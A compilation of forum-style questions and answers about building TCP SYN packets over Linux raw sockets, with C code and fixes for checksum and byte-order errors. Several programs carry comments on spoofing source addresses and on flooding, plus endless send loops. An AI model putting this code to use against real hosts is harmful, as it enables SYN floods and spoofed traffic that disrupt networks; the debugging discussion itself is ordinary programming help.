I have an application that is sending hand crafted SOCK_RAW packets from a PF_PACKET socket. The packets are being created and sent as the screenshot from Wireshark shows. The packets being sent are TCP SYN packets with an expected TCP SYN/ACK response. However, no response is being received, again as the screenshot shows. I assume that this is because the router is dropping the packets for some reason. Any ideas what the reason could be? Or is there some other reason why I am not receiving any responses.
The full code is quite long because it takes a lot of code to get the IP address and the MAC address of the router to build the ethernet header with. So I have only included the most relevant code. If that is not enough please leave a comment and I will post the full code.
fd_socket[z] = socket(PF_PACKET, SOCK_RAW|SOCK_NONBLOCK, htons(ETH_P_ALL));
if(fd_socket[z] == -1)
{
perror("socket");
return EXIT_FAILURE;
}
/* clear structure */
memset(&my_addr[z], 0, sizeof(struct sockaddr_ll));
my_addr[z].sll_family = PF_PACKET;
my_addr[z].sll_protocol = htons(ETH_P_ALL);
str_devname = ifname;
//strcpy (str_devname, ifname);
/* initialize interface struct */
strncpy (s_ifr.ifr_name, str_devname, sizeof(s_ifr.ifr_name));
/* Get the broad cast address */
ec = ioctl(fd_socket[z], SIOCGIFINDEX, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* update with interface index */
i_ifindex = s_ifr.ifr_ifindex;
s_ifr.ifr_mtu = 7200;
/* update the mtu through ioctl */
ec = ioctl(fd_socket[z], SIOCSIFMTU, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* set sockaddr info */
memset(&my_addr[z], 0, sizeof(struct sockaddr_ll));
my_addr[z].sll_family = AF_PACKET;
my_addr[z].sll_protocol = ETH_P_ALL;
my_addr[z].sll_ifindex = i_ifindex;
/* bind port */
if (bind(fd_socket[z], (struct sockaddr *)&my_addr[z], sizeof(struct sockaddr_ll)) == -1)
{
perror("bind");
return EXIT_FAILURE;
}
/* prepare Tx ring request */
s_packet_req.tp_block_size = c_buffer_sz;
s_packet_req.tp_frame_size = c_buffer_sz;
s_packet_req.tp_block_nr = c_buffer_nb;
s_packet_req.tp_frame_nr = c_buffer_nb;
/* calculate memory to mmap in the kernel */
size = s_packet_req.tp_block_size * s_packet_req.tp_block_nr;
/* set packet loss option */
tmp = mode_loss;
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_LOSS, (char *)&tmp, sizeof(tmp))<0)
{
perror("setsockopt: PACKET_LOSS");
return EXIT_FAILURE;
}
/* send TX ring request */
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_TX_RING, (char *)&s_packet_req, sizeof(s_packet_req))<0)
{
perror("setsockopt: PACKET_TX_RING");
return EXIT_FAILURE;
}
/* change send buffer size */
if(c_sndbuf_sz) {
printf("send buff size = %d\n", c_sndbuf_sz);
if (setsockopt(fd_socket[z], SOL_SOCKET, SO_SNDBUF, &c_sndbuf_sz, sizeof(c_sndbuf_sz))< 0)
{
perror("getsockopt: SO_SNDBUF");
return EXIT_FAILURE;
}
}
/* get data offset */
data_offset = TPACKET_HDRLEN - sizeof(struct sockaddr_ll);
/* mmap Tx ring buffers memory */
ps_header_start = mmap(0, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd_socket[z], 0);
if (ps_header_start == (void*)-1)
{
perror("mmap");
return EXIT_FAILURE;
}
int i,j;
int i_index = 0;
char * data;
int first_loop = 1;
struct tpacket_hdr * ps_header;
int ec_send = 0;
for(i=1; i <= c_packet_nb; i++)
{
int i_index_start = i_index;
int loop = 1;
/* get free buffer */
do {
ps_header = ((struct tpacket_hdr *)((void *)ps_header_start + (c_buffer_sz*i_index)));
data = ((void*) ps_header) + data_offset;
switch((volatile uint32_t)ps_header->tp_status)
{
case TP_STATUS_AVAILABLE:
/* fill data in buffer */
if(first_loop) {
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data2, *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//Ethernet header
struct ether_header *eh = (struct ether_header *) datagram;
//IP header
struct iphdr *iph = (struct iphdr *) (datagram + sizeof (struct ether_header));
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ether_header) + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data2 = datagram + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data2 , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
//some address resolution
strcpy(source_ip , inet_ntoa(ipaddr->sin_addr));
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
if (fscanf(fp, "%253s", server) == 1)
sin.sin_addr.s_addr = inet_addr (server);
else
{
done = 1;
break;
}
//Fill in the Ethernet Header
eh->ether_dhost[0] = arp_resp->sender_mac[0];
eh->ether_dhost[1] = arp_resp->sender_mac[1];
eh->ether_dhost[2] = arp_resp->sender_mac[2];
eh->ether_dhost[3] = arp_resp->sender_mac[3];
eh->ether_dhost[4] = arp_resp->sender_mac[4];
eh->ether_dhost[5] = arp_resp->sender_mac[5];
memcpy(eh->ether_shost, ifr.ifr_hwaddr.sa_data, HWADDR_len);
eh->ether_type = 0x0008;
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); // maximum allowed window size
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
memcpy(data, datagram, 4096);
free(pseudogram);
// for(j=0;j<c_packet_sz;j++)
// data[j] = j;
}
loop = 0;
break;
case TP_STATUS_WRONG_FORMAT:
printf("An error has occured during transfer\n");
exit(EXIT_FAILURE);
break;
default:
/* nothing to do => schedule : useful if no SMP */
usleep(0);
break;
}
}
while(loop == 1);
i_index ++;
if(i_index >= c_buffer_nb)
{
i_index = 0;
first_loop = 0;
}
/* update packet len */
ps_header->tp_len = c_packet_sz;
/* set header flag to USER (trigs xmit)*/
ps_header->tp_status = TP_STATUS_SEND_REQUEST;
/* if smp mode selected */
if(!mode_thread)
{
/* send all packets */
if( ((i&c_send_mask)==0) || (ec_send < 0) || (i == c_packet_nb) )
{
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Don't wait end of transfer */
//ec_send = (int) task_send((void*)0);
}
}
else if(c_error) {
if(i == (c_packet_nb/2))
{
int ec_close;
if(c_error == 1) {
ec_close = close(fd_socket[z]);
}
if(c_error == 2) {
if (setsockopt(fd_socket[z], SOL_PACKET, PACKET_TX_RING, (char *)&s_packet_req, sizeof(s_packet_req))<0)
{
perror("setsockopt: PACKET_TX_RING");
//return EXIT_FAILURE;
}
}
break;
}
}
}
//int ec_send;
static int total=0;
int blocking = 1;
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Wait end of transfer */
ec_send = sendto(fd_socket[z],NULL,0,(blocking? 0 : MSG_DONTWAIT),(struct sockaddr *) ps_sockaddr,sizeof(struct sockaddr_ll));
if(ec_send < 0) {
perror("sendto");
}
else if ( ec_send == 0 ) {
/* nothing to do => schedule : useful if no SMP */
usleep(0);
}
else {
total += ec_send/(c_packet_sz);
printf("send %d packets (+%d bytes)\n",total, ec_send);
fflush(0);
}
//ps_header_start = mmap(0, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd_socket[z], 0);
if (munmap(ps_header_start, size) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
close(fd_socket[z]);
EDIT
A similar program that uses SOCK_RAW on a PF_INET socket also sends hand crafted packets doing a TCP SYN and does in fact receive the expected TCP SYN/ACK response. The only difference in the way the packets are constructed is that the PF_PACKET version has to have the ethernet headers added as well. The below screenshot shows a packet sent and a packet received which shows that the ethernet headers are the same for both the PF_INET version and the PF_PACKET version. So it is a mystery what the actual difference is that leads to this behaviour.
The PF_INET program code is as follows
/*
Raw TCP packets
*/
#include <stdio.h> //for printf
#include <string.h> //memset
#include <sys/socket.h> //for socket ofcourse
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h> // inet_addr
#include <unistd.h> // sleep()
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s == -1)
{
//socket creation failed, may be because of non-root privileges
perror("Failed to create socket");
exit(1);
}
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
//some address resolution
strcpy(source_ip , "192.168.1.170");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("51.89.233.84");
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
//loop if you want to flood :)
while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror("sendto failed");
}
//Data send successfully
else
{
printf ("Packet Send. Length : %d \n" , iph->tot_len);
}
// sleep for 1 seconds
sleep(1);
}
return 0;
}
EDIT
On closer inspection of the packets being sent out on the wire I noticed that the IP header checksum is wrong for the PF_PACKET version. Also the byte order needs to be reversed for values added that are more than a single byte in length. Why doesn't the checksum function work for the PF_PACKET version. Here is the csum function:
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
The ip4 checksum is only calculated over the ip header, if I get it correctly. So if you pass the total lenght of the whole packet to the checlsum calculation function, I would not be surprised, if you get a wrong checksum. I wonder though why it happend to work in the second program.
I'm trying to send tcp SYN packet using socket raw with special structure sockaddr_ll, but my packet is ignored. My program should send SYN tcp packet and receive SYN/ACK packet. I tried to find a mistake and found that my packet has the wrong checksum and I fixed it, but nothing changed. How to fix it?
My packet:
My code:
int main(int argc, char *argv[])
{
int sockfd;
struct ifreq if_idx;
struct ifreq if_mac;
struct ifreq ifreq_ip;
int tx_len = 0;
unsigned char* sendbuf;
sendbuf=(unsigned char*)malloc(64);
memset(sendbuf,0,64);
struct ether_header *eh = (struct ether_header *) sendbuf;
struct iphdr *iph = (struct iphdr *) (sendbuf + sizeof(struct ether_header));
struct tcphdr *tcph = (struct tcphdr *) (sendbuf + sizeof(struct ether_header) + sizeof(struct tcphdr));
struct sockaddr_ll socket_address;
char ifName[IFNAMSIZ];
/* Get interface name */
if (argc > 1)
strcpy(ifName, argv[1]);
else
strcpy(ifName, DEFAULT_IF);
/* Open RAW socket to send on */
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_TCP)) == -1) {
perror("socket");
}
/* Get the index of the interface to send on */
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ-1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX");
/* Get the MAC address of the interface to send on */
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, ifName, IFNAMSIZ-1);
if (ioctl(sockfd, SIOCGIFHWADDR, &if_mac) < 0)
perror("SIOCGIFHWADDR");
/* get ip */
memset(&ifreq_ip,0,sizeof(ifreq_ip));
strncpy(ifreq_ip.ifr_name,ifName,IFNAMSIZ-1);
if(ioctl(sockfd,SIOCGIFADDR,&ifreq_ip)<0)
{
printf("error in SIOCGIFADDR \n");
}
/* Construct the Ethernet header */
/* Ethernet header */
eh->ether_shost[0] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[0];
eh->ether_shost[1] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[1];
eh->ether_shost[2] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[2];
eh->ether_shost[3] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[3];
eh->ether_shost[4] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[4];
eh->ether_shost[5] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[5];
eh->ether_dhost[0] = MY_DEST_MAC0;
eh->ether_dhost[1] = MY_DEST_MAC1;
eh->ether_dhost[2] = MY_DEST_MAC2;
eh->ether_dhost[3] = MY_DEST_MAC3;
eh->ether_dhost[4] = MY_DEST_MAC4;
eh->ether_dhost[5] = MY_DEST_MAC5;
/* Ethertype field */
eh->ether_type = htons(ETH_P_IP);
tx_len += sizeof(struct ether_header);
/* ip header */
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof(struct tcphdr));
iph->id = htonl (01); //Id of this packet
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr(inet_ntoa((((struct sockaddr_in *)&(ifreq_ip.ifr_addr))->sin_addr)));
iph->daddr = inet_addr ( "127.0.0.1" );
//Ip checksum
iph->check = 0xce7c;//csum ((unsigned short *) sendbuf, iph->tot_len);
tx_len += sizeof(struct iphdr);
//tcp
tcph->source = htons (20);
tcph->dest = htons (43521);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (8192);
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
struct pseudo_header psh;
char* pseudogram;
psh.source_address = inet_addr(inet_ntoa((((struct sockaddr_in *)&(ifreq_ip.ifr_addr))->sin_addr)));
psh.dest_address = inet_addr ( "127.0.0.1" );
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr);
pseudogram = (char*)malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr));
tcph->check = csum( (unsigned short*) pseudogram , psize);
tx_len+= sizeof(struct tcphdr);
/* Index of the network device */
socket_address.sll_ifindex = if_idx.ifr_ifindex;
/* Address length*/
socket_address.sll_halen = ETH_ALEN;
/* Destination MAC */
socket_address.sll_addr[0] = MY_DEST_MAC0;
socket_address.sll_addr[1] = MY_DEST_MAC1;
socket_address.sll_addr[2] = MY_DEST_MAC2;
socket_address.sll_addr[3] = MY_DEST_MAC3;
socket_address.sll_addr[4] = MY_DEST_MAC4;
socket_address.sll_addr[5] = MY_DEST_MAC5;
socket_address.sll_family = AF_PACKET;
/* Send packet */
if (sendto(sockfd, sendbuf, tx_len, 0, (struct sockaddr*)&socket_address, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
To be precise I want to construct a custom TCP packet, and setting the syn/ack values manually.
Code:
/*
Raw TCP packets
Silver Moon (m00n.silv3r#gmail.com)
*/
#include<stdio.h> //for printf
#include<string.h> //memset
#include<sys/socket.h> //for socket ofcourse
#include<stdlib.h> //for exit(0);
#include <arpa/inet.h>
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (int argc, char *argv[])
{
if(argc < 6 || argc > 6){
printf("Usage: ./sendtcp [Source IP] [Source port] [Destination IP] [Destination Port] [Packet Data]\n");
return -1;
}
char sourceip [32];
char sourceports [10];
char destinationip [32];
char destinationports [10];
int sourceport = 2000;
int destinationport = 2000;
strcpy(sourceip, argv[1]);
strcpy(sourceports, argv[2]);
strcpy(destinationip, argv[3]);
strcpy(destinationports, argv[4]);
sscanf(sourceports, "%d", &sourceport);
sscanf(destinationports, "%d", &destinationport);
printf("[Sending] from %s:%d To: %s:%s\n", sourceip, sourceport, destinationip,destinationports);
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s == -1)
{
//socket creation failed, may be because of non-root privileges
perror("Failed to create socket");
exit(1);
}
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data , argv[5]);
//some address resolution
strcpy(source_ip , sourceip);
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr (destinationip);
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (sourceport);
tcph->dest = htons (destinationport);
tcph->seq = 1;
tcph->ack_seq = 6;
tcph->doff = 5; //tcp header size
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 1;
tcph->urg = 0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
//loop if you want to flood :)
while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror("sendto failed");
}
//Data send successfully
else
{
printf ("Packet Send. Length : %d \n" , iph->tot_len);
}
sleep(2);
}
return 0;
}
FYI: tcph->seq = 1; tcph->ack_seq = 6; is where you set the syn/ack values.
The problem is that even tho I have set the Syn=1 and Ack=6 In wireshark it appears to be seq=4227858432 Ack=100663297.
I would really appreciate you if you could tell me how are these numbers being stored and how to set my own custom value to its syn/ack values.
Alright The problem is that when I set the value of syn as tcph->seq = 1; it actually set the value as bits.
So in order for me to set a different value it should be done in network language which you can get it done with htons() or htonl().
So proper way of it would be like: tcph->seq = htonl(20); tcph->ack_seq = htonl(num);
And that pretty much did what I wanted to do :)